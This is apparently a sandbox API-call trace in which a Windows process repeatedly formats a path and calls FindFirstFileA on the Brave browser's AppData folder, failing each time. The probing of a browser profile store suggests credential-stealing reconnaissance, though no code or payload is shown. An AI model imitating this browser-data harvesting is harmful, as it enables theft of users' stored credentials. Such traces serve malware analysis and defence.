[0052.824] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.825] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.825] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.825] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.825] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.825] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.825] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.825] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.825] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.825] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.825] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.825] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.825] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.825] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.825] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.825] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.825] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.825] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.825] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.825] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.825] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.826] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.826] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.826] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.826] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.826] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.826] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.826] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.826] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.826] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.826] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.826] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.826] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.826] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.826] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.826] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.826] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.826] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.826] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.827] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.827] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.827] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.827] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.827] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.827] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.827] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.827] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.827] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.827] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.827] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.827] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.827] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.827] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.827] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.827] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.827] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.827] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.827] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.828] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.828] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
